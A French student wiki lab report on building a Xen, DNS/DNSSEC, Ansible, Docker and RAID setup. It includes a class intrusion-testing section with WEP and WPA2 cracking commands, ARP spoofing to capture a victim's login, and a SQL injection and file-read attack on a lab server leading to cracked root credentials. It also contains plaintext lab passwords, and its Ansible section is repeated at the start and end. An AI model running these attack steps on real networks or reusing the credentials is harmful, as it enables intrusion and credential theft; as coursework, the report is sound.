Ces clés sont stocké coté capbreton dans le dossier /.ssh

Par la suite nous installons la clef publique sur nos cibles (les machines sur chassiron) :
cat .ssh/id_rsa.pub | ssh 192.168.42.5 "cat >> /root/.ssh/authorized_keys2"
Cette manipulation est cruciale pour ansible, sans cette dernière ansible ne peut fonctionner correctement

'''Installation d'Ansible'''

Installation via la commande :
apt install ansible

L'étape suivante consiste à créer un inventaire hosts dans /etc/ansible :
[webserver]
192.168.42.5

[webservers]
192.168.42.5
192.168.42.2
192.168.42.4
192.168.42.7
192.168.42.9
192.168.42.12

Ce fichier répertorie nos différentes cibles en séparent webserver qui est une cible ne contenant que notre machine virtuelle secondaire et webservers qui contient l'ensemble des machines virtuelles du groupe 2. Nous pouvons effectuer une première vérification grâce à la commande ansible :
ansible webserver -a "lsb_release -d"

L'étape suivant consiste à tester ansible.
Pour ce faire nous créons un role basic qui contient la tache main.yml, voici son contenu :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- ntp
- python3
- python3-pip

- name: docker
pip:
name: docker

- name: maj ntp
copy:
src: "/etc/ntp.conf"
dest: "/etc/ntp.conf"
owner: root
group: root
mode: '0644'

- name: maj motd
copy:
src: "/etc/motd"
dest: "/etc/motd"
owner: root
group: root
mode: '0644'

Ce role s'assure qui les packages ntp, python3, python3-pip et docker son bien installé et met à jour ntp et motd en copiant leurs configurations qui est présente sur notre machine virtuelle de capbreton. La modification est bien prise en compte est peut être vérifier en se connectant en ssh sur notre machine de chassiron via la commande ssh root@192.168.42.5

=== Installation de docker ===

Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- python3
- python3-pip

Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible (récupérer sur ansible galaxy).

Nous avons ensuite créé notre playbook pour déployer nos commandes :

- hosts: webserver
roles:
- basic
- geerlingguy.docker
vars:
docker_apt_gpg_key: "https://download.docker.com/linux/debian/gpg"
docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }"

=== Création de notre conteneur ===

Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :

FROM httpd:2.4
COPY . /usr/local/apache2/htdocs/
CMD ["httpd", "-D", "FOREGROUND"]

Nous avons ensuite créé l'image du Dockerfile :
docker build -t web .

Puis nous avons lancé notre container
docker run -d -p "8085:80" --name web web

Plusieurs commandes nous permettent de vérifier le bon fonctionnement :
docker images (Affichage des différentes images docker installées)
docker ps -a (Affichage des différents containeur en cours d'exécution)

Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :
curl 193.48.57.184:8085

Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire (après avoir préalablement installer la collection via la commande : ansible-galaxy collection install community.general) :
- name: Setup registry
docker_container:
name: registry
image: registry
ports:
- "5000:5000"

Après cela nous avons voulu push notre image "web" vers notre dépôt mais une erreur est survenue, celle-ci vient du fait qu'il fallait rajouter le fichier daemon.json dans le dossier "/etc/docker/" afin de ne pas utiliser une connexion sécurisée.

{
"insecure-registries" : ["192.168.42.5:5000"]
}

Une fois ce fichier modifié nous avons pu utiliser les commandes :
docker tag web 192.168.42.5:5000/webserver
docker push 192.168.42.5:5000/webserver

Puis coté chassiron :
docker pull 192.168.42.5:5000/webserver

=== Configuration de nos serveurs internes ===

Pour voir déployer nos containeurs sur tous les serveurs disponibles sur chassirons nous avons d'abord créé notre role "new_container" :

- name: Create a container
docker_container:
name: amanite_container
image: 192.168.42.5:5000/webserver_amanite
ports:
- "8085:80"

Ce role permet (après avoir push sur le registry de notre seconde machine virtuelle), d'installer l'image webserver_amanite sur l'ensemble des machine qui sont dans l'hote webservers.
Sur ces machines virtuelles, il faut également rajouter au fichier daemon.json (dans le dossier /etc/docker) l'ensemble des repository non sécurisés (afin d'y prendre les images).

Puis nous avons déployé notre container grâce à notre playbook :

- hosts: webservers
roles:
- new_container

=== Equilibreur de charge ===

Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants (pour l'ensemble de nos étapes) :

a2enmod proxy
a2enmod proxy_http
a2enmod proxy_balancer
a2enmod lbmethod_byrequests

Pour notre première partie nous avons modifier notre fichier amanite.site.db (qui se situe dans /etc/bind/zones) et nous y avons rajouter la ligne :
reverse IN CNAME www
(Nous n'oublions pas d'incrémenter le numéro de version, de signer la zones pour DNSSEC ainsi que redémarrer le service bind9).

Par la suite nous avons rajouter un site dans /etc/apache2/site-available que nous nommons reverse.conf :
<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
ProxyPass / http://192.168.42.5:8085
ProxyPassReverse / http://192.168.42.5:8085
</VirtualHost>

Que nous ajoutons à nos sites enable via la commande : a2ensite reverse.conf, puis nous redémarrons le service apache2.
Après cette étape notre site est accessible via l'URL reverse.amanite.conf (qui est pour le moment accessible via notre seule machine virtuelle secondaire sur chassiron).

Dans un second temps nous avons modifié notre fichier de configuration reverse.conf afin d'y rajouter de l'équilibrage de charge :

<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
<Proxy "balancer://mycluster">
BalancerMember "http://192.168.42.5:8085" route=1
BalancerMember "http://192.168.42.2:8085" route=2
BalancerMember "http://192.168.42.4:8085" route=3
BalancerMember "http://192.168.42.7:8085" route=4
BalancerMember "http://192.168.42.9:8085" route=5
BalancerMember "http://192.168.42.12:8085" route=6
ProxySet lbmethod=byrequests
</Proxy>
ProxyPass / balancer://mycluster/
ProxyPassReverse / balancer://mycluster/
</VirtualHost>

Pour vérifier notre loadbalancing nous avons modifié notre page index.html, puis nous avons build notre nouvelle image docker contenant cette page html, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur toutes les machines secondaires virtuelles, mais seul notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant on été actualisé. Cela nous permet de bien vérifier notre loadbalancing.

Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :

a2enmod status

Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :

<Location "/server-status">
SetHanlder server-status
Order Allow,Deny
Allow from all
</Location>

Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.

TP sysres IMA5sc 2020/2021 G5

2020-12-20T14:59:55Z

Psanchez : /* Serveur DNS */

{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)
|-
| Groupe 5
| amanite.site
| Debian 10 Buster
| 305
| 100.64.0.24
| 255.255.255.0
| 100.64.0.254
| 100.64.0.1
| 100.64.0.2
| 193.48.57.184
|}

==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==

Connexion ssh :

ssh pifou@capbreton.plil.info

Création de la VM Xen :

> su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)

> xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster

Résultat de la commande :
General Information
--------------------
Hostname : amanite
Distribution : buster
Mirror : http://deb.debian.org/debian
Partitions : swap 512M (swap)
/ 4G (ext4)
Image type : sparse
Memory size : 256M
Kernel path : /boot/vmlinuz-4.19.0-9-amd64
Initrd path : /boot/initrd.img-4.19.0-9-amd64

Networking Information
----------------------
IP Address 1 : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]
Netmask : 255.255.255.0
Gateway : 100.64.0.5

===Configuration des LV===

Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :

root@capbreton:~# mkfs.ext4 /dev/storage/amanite1
root@capbreton:~# mkfs.ext4 /dev/storage/amanite2

Nous avons par la suite modifié le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :

Dans la fonction Disk Device(s) :
disk = [
...
'phy:/dev/storage/RingotSanchez1,xvdav3,w'
'phy:/dev/storage/RingotSanchez2,xvdav4,w'
]

Puis dans Networking :
vif = [ 'bridge=IMA5sc, ...']

===Création et configuration de la machine virtuelle===

Lorsque nous nous sommes connectés en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg

*Commandes utiles
** Affichage de l'ensemble des VM présente sur capbreton : xl list
** Se connecter à la VM : xen console amanite
Identifiant de la machine : root
Mdp de la machine : pasglop

'''Suite de la configuration'''

Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4 à l'aide des commandes :
root@amanite:~# mkfs.ext4 /dev/xvda3
root@amanite:~# mkfs.ext4 /dev/xvda4

Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :

root@amanite:~# mount /dev/xvda3 /mnt/xvda3
root@amanite:~# mount /dev/xvda4 /mnt/xvda4

Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :

root@amanite:~# mv /var/* /mnt/xvda4.

Puis nous démontons (umount) nos deux volumes.

Nous modifions ensuite /ect/fstab en ajoutant :
/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

Puis nous les montons à l'aide de la commande :
mount -a
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage :
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda1 202:1 0 512M 0 disk [SWAP]
xvda2 202:2 0 4G 0 disk /
xvda3 202:3 0 10G 0 disk /home
xvda4 202:4 0 10G 0 disk /var

==Service Internet==

===Serveur SSH===

Installation d'un serveur ssh, accessible grâce à la commande :
ssh root@amanite.site
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)

===Serveur DNS===

Nous avons commencé par louer un nom de domaine sur gandi.net :
amanite.site
Nous avons ensuite installé le package bind9.

Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :

Dans /etc/bind/named.conf.local :

zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db";
allow-transfer{217.70.177.40;};
};

Dans /etc/bind/zones/amanite.site.db :

;BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.amanite.site. postmaster.amanite.site. (
6 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.amanite.site.
@ IN NS ns6.gandi.net.
@ IN MX 42 ns1
ns1 IN A 193.48.57.184
www IN A 193.48.57.184
ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb
www IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb

Dans /etc/bind/name.conf.options

options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer";};
};

acl "allowed_to_transfer" {
217.70.177.40/32;
};

Sur gandi.net nous lions ns1.amanite.site à 193.48.57.184 grâce à l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.
ns1.amanite.site
ns6.gandi.net

Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :
host -t any ns1.amanite.site localhost
host -t any ns1.amanite.site

ou se servir de nslookup.

===Sécurisation de site web par certificat===

Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.
Cette ligne de commande nous permet de lancer la procédure de création :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr

Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:France
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech
Organizational Unit Name (eg, section) []:IMA
Common Name (e.g. server FQDN or YOUR name) []:amanite.site
Email Address []:admin@amanite.site

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:glopglop
An optional company name []:

Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name "amanite.site".
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.

===Sécurisation de serveur DNS par DNSSEC===

Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis.
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.

Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :
dnssec-enable yes

Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone :
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site
Puis la la clef asymétrique de la zone pour signer les enregistrements :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site

Nous renommons les deux paires de clefs obtenues pour plus de lisibilité :
amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private

Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :
$include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key
$include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key

Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed

Nous signons les enregistrements de la zone avec la commande :
dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk

Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :
zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db.signed";
allow-transfer{217.70.177.40;};
};

L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)

Finalement nous relançons bind :
service bind9 restart

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site

[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]

==Tests d'intrusion==

===Cassage de clef WEP d’un point d’accès WiFi===

*Liste des commandes :
** Lister les interfaces WiFi disponibles : airmong-ng
** Passage d'une interface en mode moniteur : airmong-ng start <Interface>
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep <Interface>
** Capture des paquets émis par le point d'accés cible : airodump-ng --write <nomFichierSortie> --channel 3 -bssid <@mac_AP> <nomInterface>
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x <nomFichierSortie>-01.cap

Notre première étape consiste à passer notre interface en mode moniteur.
Nous utilisons donc la commande : airmong-ng

Ce qui nous retourne le nom de notre interface, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface :
airodump-ng --encrypt wep wlan0mon

Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande :
airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon

Nous pouvons "stimuler" le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) :
'''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

'''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande :
aircrack-ng -z data.cap

Nous obtenons alors :
KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ]
Decrypted correctly: 100%

===Cassage de mot de passe WPA2-PSK par force brute===

Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.

Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux capter par notre interface :
airodump-ng wlan0mon

Nous repérons le réseau "Kracotte05" qui possède le BSSID suivant "00:14:1B:60:8C:24"

Nous pouvons lancer dès lors la commande :
airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon

Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :
crunch 8 8 0123456789 > dico.txt
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.

Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.

La commande est la suivante :
crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx

Le mot de passe pour la kracotte05 est le suivant : 10244444

===Attaque de type "homme au milieu" par usurpation ARP===

Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :
apt-get install dsniff

La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 > /proc/sys/net/ipv4/ip_forward

Nous pouvons afficher la table arp de la machine pirate avec la commande :
arp -a
Grâce à cette table nous identifions deux adresses IP :

172.26.145.254
-> Adresse IP du routeur

172.26.145.60
-> Adresse IP de la machine victime

Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.

Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :
arpspoof -i eth0 -t 172.26.145.254 172.26.145.60
arpspoof -i eth0 -t 172.26.145.60 172.26.145.254

La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.

En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante.

La machine victime va maintenant se connecter sur un serveur web HTTP.

En lançant wireshark sur la machine attaquante nous observons les paquets suivants :
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]

Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.

===Intrusion sur un serveur d’application Web===

Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :

nmap -A -T4 honey.plil.info

[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]

Nous voyons que le serveur héberge deux services :
Un service de connexion ssh, inutilisable sans login et mot de passe
Un service web.

Nous essayons donc de commencer par attaquer le site web honey.plil.info

Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.
Les requêtes SQL de connexions sont souvent de la forme :
Select … From … Where login = « username » AND password = « password ».
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.

[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]

Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :
- La première permet d’uploader un fichier qui est stocké sur le pc du server
- La deuxième permet de lire ce fichier.

Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.

Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.

dirb -r honey.plil.info

[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]

Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.

Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme "glopglop" et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.

==Réalisations==

===Sécurisation de données===

Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :

lvcreate -L1G -n amanite-raid1 storage
lvcreate -L1G -n amanite-raid2 storage
lvcreate -L1G -n amanite-raid3 storage

Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg
disk = [
'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',
'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',
'phy:/dev/storage/RingotSanchez1,xvda3,w',
'phy:/dev/storage/RingotSanchez2,xvda4,w',
'phy:/dev/storage/amanite-raid1,xvda5,w',
'phy:/dev/storage/amanite-raid2,xvda6,w',
'phy:/dev/storage/amanite-raid3,xvda7,w'
]

Puis nous redémarrons notre VM.
xl destroy amanite
xl create /etc/xen/amanite.cfg

Après avoir relancer notre VM, nous installons le paquet mdadm.

apt instal mdadm

Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

Nous formatons notre volume RAID.

mkfs.ext4 /dev/md0

Et nous rajoutons la ligne suivante dans /etc/fstab :

/dev/md0 /raid5 ext4 defaults 0 2

Nous pouvons avoir des détails notre volume grâce à la commande :
mdadm --detail /dev/md0

Pour finir, nous montons et peuplons notre volume RAID.
mount /dev/md0 /mnt
touch coucou.txt

A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.

Nous déclarons un de nos disques comme étant en défaillance :

mdadm --set-faulty /dev/md0 /dev/xvda7

Puis nous l'enlevons de notre volume RAID :
mdadm --remove /dev/xvda7

Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.

Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :
mdadm --manage /dev/md0 --add /dev/xvda7

===Chiffrement de données===

Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.

Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.

cryptsetup luksFormat /dev/sdb
cryptsetup luksOpen /dev/sdb crypt_sdb

Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.

mkfs.ext4 /dev/mapper/crypt_sdb

Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.

mount /dev/mapper/crypt_sdb /mnt

Puis nous y ajoutons un fichier.

touch /mnt/test.txt

Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.

umount /mnt
cryptsetup luksClose crypt_sdb

Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.

===Inspection ARP par un élément réseau===

Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.

===Sécurisation WiFi par WPA2-EAP===

== TP ASR ==

=== Architecture de la ferme ===

Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.

Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1 par rapport à notre autre interface.

vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ]

Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.184
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.24/24
up ip route add default via 100.64.0.2 src 193.48.57.184
down ip address del dev eth0 100.64.0.24/24
down ip route del default via 100.64.0.2 src 193.48.57.184

# The secondary network interface
auto eth1
iface eth1 inet static
address 192.168.42.19
netmask 255.255.255.0

Nous avons mis en place notre propre mascarade avec les commandes suivantes :
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24
iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24
iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184
Ce qui permet à nos paquets en provenance de 192.168.45.5 (machine sur chassiron) de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder a des "apt install" et ne plus être considérer comme des hackeur russes malveillants.

Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier "/etc/sysctl.conf" pour activer l'ip forwarding pour les paquets IPV4.

A la fin de cette partie nous sommes capables de ping les machines entre elles.

Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.42.5/24
gateway 192.168.42.19

Nous avons également modifié notre fichier /etc/resolv.conf :
domain plil.info
search plil.info plil.fr
nameserver 192.168.42.19

Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d.

Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école. A la fin de cette partie la machine sur chassiron est capable de ping google.

'''Clés SSH'''

Génération d’une paire de clef asymétrique :
ssh-keygen -t rsa

Ces clés sont stocké coté capbreton dans le dossier /.ssh

Par la suite nous installons la clef publique sur nos cibles (les machines sur chassiron) :
cat .ssh/id_rsa.pub | ssh 192.168.42.5 "cat >> /root/.ssh/authorized_keys2"
Cette manipulation est cruciale pour ansible, sans cette dernière ansible ne peut fonctionner correctement

'''Installation d'Ansible'''

Installation via la commande :
apt install ansible

L'étape suivante consiste à créer un inventaire hosts dans /etc/ansible :
[webserver]
192.168.42.5

[webservers]
192.168.42.5
192.168.42.2
192.168.42.4
192.168.42.7
192.168.42.9
192.168.42.12

Ce fichier répertorie nos différentes cibles en séparent webserver qui est une cible ne contenant que notre machine virtuelle secondaire et webservers qui contient l'ensemble des machines virtuelles du groupe 2. Nous pouvons effectuer une première vérification grâce à la commande ansible :
ansible webserver -a "lsb_release -d"

L'étape suivant consiste à tester ansible.
Pour ce faire nous créons un role basic qui contient la tache main.yml, voici son contenu :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- ntp
- python3
- python3-pip

- name: docker
pip:
name: docker

- name: maj ntp
copy:
src: "/etc/ntp.conf"
dest: "/etc/ntp.conf"
owner: root
group: root
mode: '0644'

- name: maj motd
copy:
src: "/etc/motd"
dest: "/etc/motd"
owner: root
group: root
mode: '0644'

Ce role s'assure qui les packages ntp, python3, python3-pip et docker son bien installé et met à jour ntp et motd en copiant leurs configurations qui est présente sur notre machine virtuelle de capbreton. La modification est bien prise en compte est peut être vérifier en se connectant en ssh sur notre machine de chassiron via la commande ssh root@192.168.42.5

=== Installation de docker ===

